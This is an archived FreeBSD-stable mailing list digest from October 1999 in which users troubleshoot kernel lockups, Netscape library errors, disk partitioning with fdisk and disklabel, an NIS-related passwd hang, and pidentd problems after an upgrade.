:fixed, my situation got critical. Should I downgrade to 3.1-RELEASE (that :hadn't exhibit this way) or can I dare a 4.0-CURRENT (are these problems :present in -current too ?) ? : : Thanks, : Ady (@warpnet.ro) If the machine is locking up to the point where you cannot even drop into DDB, this bug is not related to the known mmap() bugs. At this point I have no idea what might be causing your lockup problem. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 14:13:26 1999 Delivered-To: freebsd-stable@freebsd.org Received: from resnet.uoregon.edu (resnet.uoregon.edu [128.223.144.32]) by hub.freebsd.org (Postfix) with ESMTP id 6486415193 for ; Tue, 5 Oct 1999 14:13:24 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Received: from localhost (dwhite@localhost) by resnet.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA31188; Tue, 5 Oct 1999 14:13:21 -0700 (PDT) (envelope-from dwhite@resnet.uoregon.edu) Date: Tue, 5 Oct 1999 14:13:20 -0700 (PDT) From: Doug White To: Robert Blayzor Cc: freebsd-stable@FreeBSD.ORG Subject: Re: sio.c In-Reply-To: <199910042338.TAA27914@nimbus.superior.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 4 Oct 1999, Robert Blayzor wrote: > Can someone on the core team please include the following PNP ID in > sio.c so I don't have to manually add it every time I cvsup? > > It would be really great! > > { 0x01017256, "USR0101"}, File this in the GNATS bug database using send-pr or the webpage. Doug White | FreeBSD: The Power to Serve dwhite@resnet.uoregon.edu | www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 14:13:49 1999 Delivered-To: freebsd-stable@freebsd.org Received: from saturn.psn.net (saturn.psn.net [207.211.58.15]) by hub.freebsd.org (Postfix) with ESMTP id D897315654 for ; Tue, 5 Oct 1999 14:13:36 -0700 (PDT) (envelope-from will@blackdawn.com) Received: from shadow.blackdawn.com (5042-243.008.popsite.net [209.224.140.243]) by saturn.psn.net (8.9.3/8.9.3) with ESMTP id OAA03499; Tue, 5 Oct 1999 14:23:00 -0700 (MST) Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id RAA11205; Tue, 5 Oct 1999 17:13:01 -0400 (EDT) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20696.939143990@axl.noc.iafrica.com> Date: Tue, 05 Oct 1999 17:13:01 -0400 (EDT) Reply-To: Will Andrews From: Will Andrews To: Sheldon Hearn Subject: Re: X won't start Cc: stable@FreeBSD.ORG, Paul Horechuk Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 05-Oct-99 Sheldon Hearn wrote: > On Mon, 04 Oct 1999 23:17:45 -0400, "Paul Horechuk" wrote: > >> What am I missing? > > Probably just a symlink called X which points to the appropriate X > display server. Have a look in /usr/X11R6/bin: This symlink is added by the script xf86config for you.. you (Paul) should be using xf86config, not a GUI tool, to configure your GUI environment. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 14:18:47 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blandings.com (adsl-216-103-90-79.dsl.snfc21.pacbell.net [216.103.90.79]) by hub.freebsd.org (Postfix) with ESMTP id A6D721566E for ; Tue, 5 Oct 1999 14:18:35 -0700 (PDT) (envelope-from anand@blandings.com) Received: (from anand@localhost) by blandings.com (8.9.3/8.9.3) id OAA24406 for freebsd-stable@freebsd.org; Tue, 5 Oct 1999 14:16:23 -0700 (PDT) Date: Tue, 5 Oct 1999 14:16:23 -0700 From: Anand Ranganathan To: freebsd-stable@freebsd.org Subject: netscape on 3.3-RELEASE Message-ID: <19991005141623.C23947@Psmith.blandings.com> Reply-To: anand@blandings.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I just installed FreeBSD 3.3 off the CD I got from Walnut Creek. Everything went fine, I'm able to run all my programs, all my software compiles and runs fine. However I seem to have a problem with running netscape. I installed the netscape46-navigator port. I get the following error when I try to start it: 123 wooster:~> /usr/local/bin/netscape /usr/libexec/ld.so: warning: /usr/X11R6/lib/libXt.so.6: minor version -1 older than expected 0, using it anyway ld.so failed: bad magic number in "/usr/X11R6/lib/libXt.so.6" 124 wooster:~> I have a similar problem if I try netscape46-communicator also. Anybody come across this problem or have solutions to it? The uname on my machine is: 124 wooster:~> uname -a FreeBSD wooster.jumpdata.com 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Mon Sep 27 15:49:24 PDT 1999 anand@wooster.jumpdata.com:/usr/src/sys/compile/WOOSTER i386 125 wooster:~> Thanks Anand -- Anand Ranganathan anand@blandings.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 15:26:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (Postfix) with ESMTP id E21C01569A for ; Tue, 5 Oct 1999 15:26:05 -0700 (PDT) (envelope-from jeff-ml@mountin.net) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id RAA24337; Tue, 5 Oct 1999 17:24:44 -0500 (CDT) (envelope-from jeff-ml@mountin.net) Received: from dial-56.tnt1.rac.cyberlynk.net(209.224.182.56) by peak.mountin.net via smap (V1.3) id sma024335; Tue Oct 5 17:24:29 1999 Message-Id: <3.0.3.32.19991005171942.014d2a80@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Tue, 05 Oct 1999 17:19:42 -0500 To: David Gilbert From: "Jeffrey J. Mountin" Subject: Re: More on the crashes already mentioned. Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <14329.64871.579761.476450@trooper.velocet.net> References: <199910051323.GAA17221@cwsys.cwsent.com> <14329.4421.847994.918399@trooper.velocet.net> <199910051323.GAA17221@cwsys.cwsent.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 09:30 AM 10/5/99 -0400, David Gilbert wrote: >Well... the same machine had an 80 day uptime before the upgrade >(running 3.0-RELEASE). We have also tried alternate motherboards. >Now... all this hardware is K6-2/400's --- it appears that substantial >amounts of new code playing with processor bits has been introduced >between 3.2 and 3.3 Try a different CPU. Another K6-2 (different speed) might point out problems with the code changes. Check for BIOS updates and errata for the board. Good cooling? >I also tried cutting the memory in half. The system had been running >as configured for 80ish days w/o reboot. It has 2x 128M in it, which >I reduced to 1x 128M... if anything, it crashed faster (although I >can't say this for sure). Did you just pull one or pull one and later swap with the other. Presume you did, but just to be sure. 8-) >The machine is running 100+ apaches that are ~88M virtual size. > >It's happening every 5 minutes now, it seems. sigh. Latest Apache I'll presume. Only web services? Any other machines with similar hardware *not* running Apache? With only half the memory compile in the needed modules, disable DSO's, and do not use buffered logs (takes more memory), but judging by the size you have done (or not done) this. You could try reducing max clients temporarily and see if that helps the problem with either 1/2 or all of the memory. Not trying to point a finger at Apache, but have seen a few problems on web (Apache) servers in the past that were pure hell to track down. Otherwise rock solid. No panic, no core, big hassle. luck! Jeff Mountin - jeff@mountin.net Systems/Network Administrator FreeBSD - the power to serve '86 Yamaha MaxiumX (not FBSD powered) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 16:28:42 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mailhub1.anasazi.com (mailhub1.anasazi.com [138.113.128.8]) by hub.freebsd.org (Postfix) with ESMTP id 6C112156BC for ; Tue, 5 Oct 1999 16:28:20 -0700 (PDT) (envelope-from chad@anasazi.com) Received: from chad.anasazi.com (chad.anasazi.com [138.113.128.36]) by mailhub1.anasazi.com (8.9.1/8.9.1) with ESMTP id QAA19010 for ; Tue, 5 Oct 1999 16:25:15 -0700 (MST) (envelope-from chad@anasazi.com) Received: (from chad@localhost) by chad.anasazi.com (8.8.8/8.8.8) id QAA01404 for stable@FreeBSD.org; Tue, 5 Oct 1999 16:25:15 -0700 (MST) (envelope-from chad) From: "Chad R. Larson" Message-Id: <199910052325.QAA01404@chad.anasazi.com> Subject: disk partitions To: stable@FreeBSD.org Date: Tue, 5 Oct 1999 16:25:14 -0700 (MST) Reply-To: chad@rez.com X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=ELM939165914-1340-0_ Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --ELM939165914-1340-0_ Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Is there some rule that says there can only be one FreeBSD partition on a disk drive? Here's the story. This machine on which I type is a 166 MHz Pentium, with 32 MB of RAM and an Adaptec on-the-motherboard SCSI controller. Its single hard drive is a 4GB Segate. The boot dmesg output is attached if you want further details. It's running FreeBSD 2.2-STABLE, CVSup'd and built in July. It has been set up to dual-boot NT workstation and FreeBSD. But the dual booting proved to be too much hassle, so I obtained a second machine, loaded Win95 on it and left this one in BSD. Lately, I've been getting short on disk space in the BSD world (doesn't everyone?) and decided to poach some of the NT space. The disk had been set with FDISK partitions like this: 1 500MB type 6 dos (FAT, NT C: drive) 2 1.5GB type 5 dos (NTFS, NT D: drive) 3 2.0GB type 165 FreeBSD 4 unused I ran "fdisk -2 -u sd0", and changed the partition type from 5 to 165. When I attempted to reboot, BootEazy offered me F1 dos F2 BSD F3 BSD but F3 refuses to boot. When I hit F3, or allow the timeout to take that as a default, the cursor moves down one line and to the left margin and then the machine hangs. I can CTL-ALT-DEL back around to the BootEazy prompt. F2 also does not boot (I didn't expect it to, but wondered if the partitions got reordered somehow in BootEazy's mind). F1 =does= boot NT. If I boot the 2.2.8-RELEASE live filesystem CD, and drop into fixit mode, I can set the type on partition 2 to 0, and I can boot again. Partition 2 disappears from the BootEazy menu. If we get past this, then I'll be asking why disklabel doesn't seem willing to work against sd0s2c. -crl -- Chad R. Larson (CRL22) REZsolutions, Inc. 602-870-3330 chad.larson@REZsolutions.com chad@rez.com chad@anasazi.com 7500 North Dreamy Draw Drive, Suite 120, Phoenix, Az 85020 --ELM939165914-1340-0_ Content-Type: text/plain; charset=US-ASCII Content-Disposition: attachment; filename=dmesg.boot Content-Description: /var/run/dmesg.boot Content-Transfer-Encoding: 7bit Copyright (c) 1992-1998 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.8-STABLE #3: Thu Jul 1 15:12:50 MST 1999 chad@chad.anasazi.com:/usr/src/sys/compile/CHAD CPU: Pentium/P55C (166.07-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x543 Stepping=3 Features=0x8001bf real memory = 33554432 (32768K bytes) avail memory = 31010816 (30284K bytes) Probing for devices on PCI bus 0: chip0 rev 3 on pci0:0:0 chip1 rev 1 on pci0:7:0 chip2 rev 0 on pci0:7:1 pci0:7:2: Intel Corporation, device=0x7020, class=serial, subclass=0x03 int d irq 9 [no driver assigned] xl0 <3Com 3c905 Fast Etherlink XL 10/100BaseTX> rev 0 int a irq 11 on pci0:16:0 xl0: Ethernet address: 00:60:97:de:2b:a8 xl0: autoneg complete, link status good (full-duplex, 10Mbps) ahc0 rev 0 int a irq 10 on pci0:17:0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs ahc0 waiting for scsi devices to settle ahc0: target 0 Tagged Queuing Device (ahc0:0:0): "SEAGATE ST34371N 0338" type 0 fixed SCSI 2 sd0(ahc0:0:0): Direct-Access 4148MB (8496960 512 byte sectors) ahc0:A:4: refuses WIDE negotiation. Using 8bit transfers (ahc0:4:0): "TOSHIBA CD-ROM XM-5701TA 0167" type 5 removable SCSI 2 cd0(ahc0:4:0): CD-ROM can't get the size ahc0:A:5: refuses WIDE negotiation. Using 8bit transfers (ahc0:5:0): "ARCHIVE Python 02779-XXX 6100" type 1 removable SCSI 2 st0(ahc0:5:0): Sequential-Access density code 0x13, drive empty vga0 rev 1 int a irq 9 on pci0:18:0 Probing for devices on the ISA bus: vt0 at 0x60-0x6f irq 1 on motherboard vt0: unkown s3, 80 col, color, 4 scr, mf2-kbd, [R3.20-b24] sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface pcm0 at 0x220 irq 5 drq 1 flags 0x15 on isa fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: FIFO enabled, 8 bytes threshold fd0: 1.44MB 3.5in npx0 on motherboard npx0: INT 16 interface Intel Pentium detected, installing workaround for F00F bug --ELM939165914-1340-0_-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 16:28:57 1999 Delivered-To: freebsd-stable@freebsd.org Received: from saturn.psn.net (saturn.psn.net [207.211.58.15]) by hub.freebsd.org (Postfix) with ESMTP id 629CA15642 for ; Tue, 5 Oct 1999 16:28:38 -0700 (PDT) (envelope-from will@blackdawn.com) Received: from shadow.blackdawn.com (5042-243.008.popsite.net [209.224.140.243]) by saturn.psn.net (8.9.3/8.9.3) with ESMTP id QAA26497; Tue, 5 Oct 1999 16:37:01 -0700 (MST) Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id TAA14879; Tue, 5 Oct 1999 19:27:01 -0400 (EDT) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <19991005141623.C23947@Psmith.blandings.com> Date: Tue, 05 Oct 1999 19:27:01 -0400 (EDT) Reply-To: Will Andrews From: Will Andrews To: Anand Ranganathan Subject: RE: netscape on 3.3-RELEASE Cc: freebsd-stable@FreeBSD.ORG Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 05-Oct-99 Anand Ranganathan wrote: > I installed the netscape46-navigator port. I get the following error > when I try to start it: > 123 wooster:~> /usr/local/bin/netscape > /usr/libexec/ld.so: warning: /usr/X11R6/lib/libXt.so.6: minor version -1 > older than expected 0, using it anyway > ld.so failed: bad magic number in "/usr/X11R6/lib/libXt.so.6" > 124 wooster:~> The netscape port needs to use the aout version of libXt.so.6 - which is in /usr/X11R6/lib/aout/libXt.so.6. How to get it to do that, I don't know. Sorry. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 18:25: 6 1999 Delivered-To: freebsd-stable@freebsd.org Received: from barnes1.wustl.edu (barnes1.wustl.edu [128.252.162.58]) by hub.freebsd.org (Postfix) with ESMTP id EAC0614D12 for ; Tue, 5 Oct 1999 18:24:45 -0700 (PDT) (envelope-from wayne@barnes1.wustl.edu) Received: (from wayne@localhost) by barnes1.wustl.edu (8.9.3/8.9.2) id UAA00634 for freebsd-stable@freebsd.org; Tue, 5 Oct 1999 20:25:36 -0500 (CDT) (envelope-from wayne) From: Wayne M Barnes Message-Id: <199910060125.UAA00634@barnes1.wustl.edu> Subject: passwd hang To: freebsd-stable@freebsd.org Date: Tue, 5 Oct 1999 20:25:36 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Jonathan Michaels, John Baldwin, and Mike Smith, passwd hang is fixed. For me, anyway. Thank you for suspecting NIS, which was sort of invoked on my system, for no reason. Once I deleted all references to it in /etc/rc.conf.local, the hanging of passwd and send-pr went away. This has bothered me on and off for years. I hope it's gone for good now. On another 3.2 system, and with 2.2.8, it never happened, even with the spurious nis client turned on. Wayne M. Barnes, Ph.D. wayne@barnes1.wustl.edu Biochemistry Dept. 8231 Washington Univ. Medical School 314.362.3351 fax 7183 660 South Euclid Ave., St. Louis, MO 63110 http://barnes1.wustl.edu Just plain Taq is old tech anymore. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 18:37:19 1999 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id EF23F15249 for ; Tue, 5 Oct 1999 18:36:33 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id SAA00282; Tue, 5 Oct 1999 18:53:56 -0700 (PDT) Date: Tue, 5 Oct 1999 18:53:56 -0700 (PDT) From: Alfred Perlstein To: chad@rez.com Cc: stable@FreeBSD.ORG Subject: Re: disk partitions In-Reply-To: <199910052325.QAA01404@chad.anasazi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 5 Oct 1999, Chad R. Larson wrote: > Is there some rule that says there can only be one FreeBSD partition > on a disk drive? > > Here's the story. This machine on which I type is a 166 MHz > Pentium, with 32 MB of RAM and an Adaptec on-the-motherboard SCSI > controller. Its single hard drive is a 4GB Segate. The boot dmesg > output is attached if you want further details. It's running > FreeBSD 2.2-STABLE, CVSup'd and built in July. > > It has been set up to dual-boot NT workstation and FreeBSD. But the > dual booting proved to be too much hassle, so I obtained a second > machine, loaded Win95 on it and left this one in BSD. Lately, I've > been getting short on disk space in the BSD world (doesn't > everyone?) and decided to poach some of the NT space. > > The disk had been set with FDISK partitions like this: > > 1 500MB type 6 dos (FAT, NT C: drive) > 2 1.5GB type 5 dos (NTFS, NT D: drive) > 3 2.0GB type 165 FreeBSD > 4 unused > > I ran "fdisk -2 -u sd0", and changed the partition type from 5 to > 165. When I attempted to reboot, BootEazy offered me > > F1 dos > F2 BSD > F3 BSD > > but F3 refuses to boot. When I hit F3, or allow the timeout to take > that as a default, the cursor moves down one line and to the left > margin and then the machine hangs. I can CTL-ALT-DEL back around to > the BootEazy prompt. F2 also does not boot (I didn't expect it to, > but wondered if the partitions got reordered somehow in BootEazy's > mind). F1 =does= boot NT. > > If I boot the 2.2.8-RELEASE live filesystem CD, and drop into fixit > mode, I can set the type on partition 2 to 0, and I can boot again. > Partition 2 disappears from the BootEazy menu. > the 2.2.x loader can't handle a BSD partition before the bootable root partition, there is a tricky fix you can do though. *** warning this may hose everything and make your dog go bald *** *** it also may not work, this idea is just from examining the *** *** code a while back *** use fdisk, and swap the partition parameters, I'm assuming your partition table looks something like this: partition 1 - NT sectors 0 - 100,000 partition 2 - FreeBSD sectors 100,000 - 200,000 what you want to do is swap the partition informations around so it looks like this: partition 1 - FreeBSD sectors 100,000 - 200,000 partition 2 - NT (to be changed to freebsd) sectors 0 - 100,000 the idea is to reorder the partition table so that the bootable FreeBSD partition come up first. > If we get past this, then I'll be asking why disklabel doesn't seem > willing to work against sd0s2c. because you want to run disklabel on sd0s2 (forget the 'c') good luck, -Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [bright@wintelcom.net] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 18:57:48 1999 Delivered-To: freebsd-stable@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 849F11530F; Tue, 5 Oct 1999 18:57:41 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 7B3641CD46D; Tue, 5 Oct 1999 18:57:41 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Tue, 5 Oct 1999 18:57:41 -0700 (PDT) From: Kris Kennaway To: "Chad R. Larson" Cc: "Thomas T. Veldhouse" , guseyn@azeri.com, stable@FreeBSD.ORG Subject: Re: Netscape 4.6 In-Reply-To: <199910051710.KAA16513@freeway.dcfinc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 5 Oct 1999, Chad R. Larson wrote: > As I recall, Thomas T. Veldhouse wrote: > > Make sure you run ldconfig afterwords, and > > if you don't know the params - just reboot :-( > > Oh, no! Micrsoftism creeping in... Well, not really, because it's only an alternative for people who don't know enough to read the manpage, or failing that, the script run at boot time which performs the exact incantation. For the rest of us, we don't have to reboot at all :-) Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 19:26: 7 1999 Delivered-To: freebsd-stable@freebsd.org Received: from sparenix.metronet.com (sparenix.metronet.com [207.170.106.3]) by hub.freebsd.org (Postfix) with SMTP id A537014E5F for ; Tue, 5 Oct 1999 19:25:24 -0700 (PDT) (envelope-from jmanley@metronet.com) Received: (qmail 19688 invoked by uid 7770); 6 Oct 1999 02:42:23 -0000 Received: from fcn105-40.tmi.net (HELO metronet.com) (207.170.105.40) by sparenix.metronet.com with SMTP; 6 Oct 1999 02:42:23 -0000 Message-ID: <37FAB2D0.95A18A89@metronet.com> Date: Tue, 05 Oct 1999 21:24:25 -0500 From: Jim Manley X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.org Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe Jim Manley To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 19:27: 9 1999 Delivered-To: freebsd-stable@freebsd.org Received: from sparenix.metronet.com (sparenix.metronet.com [207.170.106.3]) by hub.freebsd.org (Postfix) with SMTP id 19E8514C94 for ; Tue, 5 Oct 1999 19:26:25 -0700 (PDT) (envelope-from jmanley@metronet.com) Received: (qmail 19711 invoked by uid 7770); 6 Oct 1999 02:45:06 -0000 Received: from fcn105-40.tmi.net (HELO win) (207.170.105.40) by sparenix.metronet.com with SMTP; 6 Oct 1999 02:45:06 -0000 Message-Id: <4.1.19991005212648.00973280@mail.metronet.com> X-Sender: jmanley@mail.metronet.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 05 Oct 1999 21:27:01 -0500 To: freebsd-stable@FreeBSD.org From: Jim Manley Subject: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe Jim Manley To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Oct 5 21:14:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: from azeri.com (run.azeri.com [208.210.122.2]) by hub.freebsd.org (Postfix) with ESMTP id 7A2B214BD7 for ; Tue, 5 Oct 1999 21:14:17 -0700 (PDT) (envelope-from guseyn@azeri.com) Received: (from guseyn@localhost) by azeri.com (8.9.3/8.9.2) id JAA17305 for stable@freebsd.org; Wed, 6 Oct 1999 09:14:39 +0500 (AZST) (envelope-from guseyn) Date: Wed, 6 Oct 1999 09:14:39 +0500 (AZST) From: Guseyn Ismaylov Message-Id: <199910060414.JAA17305@azeri.com> To: stable@freebsd.org Subject: Netscape 4.6 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG After complete installing on FreeBSD 3.x ( stable or release does't matter) netscape tells: Cannot find ld.so library and exits Is that means a.out must be installed? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 1:49:38 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ady.warpnet.ro (ady.warpnet.ro [194.102.224.1]) by hub.freebsd.org (Postfix) with ESMTP id 583D314D9C; Wed, 6 Oct 1999 01:49:20 -0700 (PDT) (envelope-from ady@warpnet.ro) Received: from localhost (ady@localhost) by ady.warpnet.ro (8.9.3/8.9.3) with ESMTP id LAA00833; Wed, 6 Oct 1999 11:49:26 +0300 (EEST) (envelope-from ady@warpnet.ro) Date: Wed, 6 Oct 1999 11:49:26 +0300 (EEST) From: Adrian Penisoara To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: <199910052100.OAA79706@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi again, On Tue, 5 Oct 1999, Matthew Dillon wrote: > : The problem is that the machine is completely locked, I can't get into > :the debugger with CTR-ALT-ESC; no panics so there are no coredumps > :catched. Any advise ? Could you escape in the debugger when you were hit > :by these bugs ? > > If it's completely locked up and ctl-alt-esc doesn't work (and normally > does work - try it on a working system to make sure that you've compiled > in the appropriate DDB options), and you aren't in an X display > (ctl-alt-esc isn't useful when done from an X display)... then your > lockup problem is unrelated to mmap. No X on the machine, but CTRL-ALT-ESC doesn't work. And another thing: I tried the MMAP "exploit"/test that has been floating around at that time on another 3.2-STABLE machine SMP with 2 Pentiums and it does lock the machine but you can switch consoles and escape to the debugger; on the production server (K6-2 300) everything goes dead when it happens (I haven't tried the MMAP test)... You're probably right, it's not the MMAP bug; but it's not faulty hardware -- I'll have an undeniable proof in a few days, I have downgraded to 3.1-STABLE as of 20th April... > > If you are running an X display on this box, you may be able to get > more information in regards to the crash if you turn off X. > > : > : I have: squid (20Mb), nntpcached (17Mb SIZE, 1Mb RES), apache, named, > :MFS, a few PPP processes and the rest of the standard menu. > > The only programs known to cause the swap problem are innd and innxmit, > both part of the inn news system. No such thing (yet); and I heard that innd-stable is OK (I have INND-stable running on that SMP box and had no problems with it) ?... > > : OK, how about some workarounds, I can't wait anylonger for this to be > :fixed, my situation got critical. Should I downgrade to 3.1-RELEASE (that > :hadn't exhibit this way) or can I dare a 4.0-CURRENT (are these problems > :present in -current too ?) ? > : > : Thanks, > : Ady (@warpnet.ro) > > If the machine is locking up to the point where you cannot even drop > into DDB, this bug is not related to the known mmap() bugs. > > At this point I have no idea what might be causing your lockup problem. Neither do I, dammit... :-( > > -Matt > Matthew Dillon > > I'll get back to you in a few days. Thanks a lot, Ady (@warpnet.ro) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Oct 6 2: 6:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dante.high5.net (dante.high5.net [194.134.79.4]) by hub.freebsd.org (Postfix) with ESMTP id 24CE414C31; Wed, 6 Oct 1999 02:04:43 -0700 (PDT) (envelope-from mischa@dante.high5.net) Received: (from mischa@localhost) by dante.high5.net (8.9.3/8.9.2) id LAA68976; Wed, 6 Oct 1999 11:04:42 +0200 (CEST) (envelope-from mischa) Date: Wed, 6 Oct 1999 11:04:42 +0200 From: Mischa To: freebsd-stable@freebsd.org, freebsd-questions@freebsd.org Subject: pidentd not working on 3.3-STABLE Message-ID: <19991006110442.M63758@high5.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi All, Since a couple of days I have upgraded my 3.2-RELEASE machine to 3.3-STABLE and now pidentd is no longer working. As in it does get started but for some reason it doesn't give back an ident. I got all the STABLE sources, ran make buildworld and make installworld. Recompiled my kernel and rebooted. The /etc/inetd.conf is still the same (uncommented the standard line for identd). After that I have reinstalled pidentd, made sure that all the includes where working (reinstalled them, just to be sure). Added -l -d to identd in the inetd.conf (didn't produce antything in the syslog). Made a trace with ktrace which didn't do anything wierd. Did a telnet to port 113 and and tried to get user info from there, but the standard response was NO-USER. Is anybody experiencing the same problems, or did I miss something completly obvious? Thanx! Mischa PS: I also have a 3.2-STABLE machine running pidentd without any problems. To Unsubscribe: send mail to majordomo@FreeBSD.org with 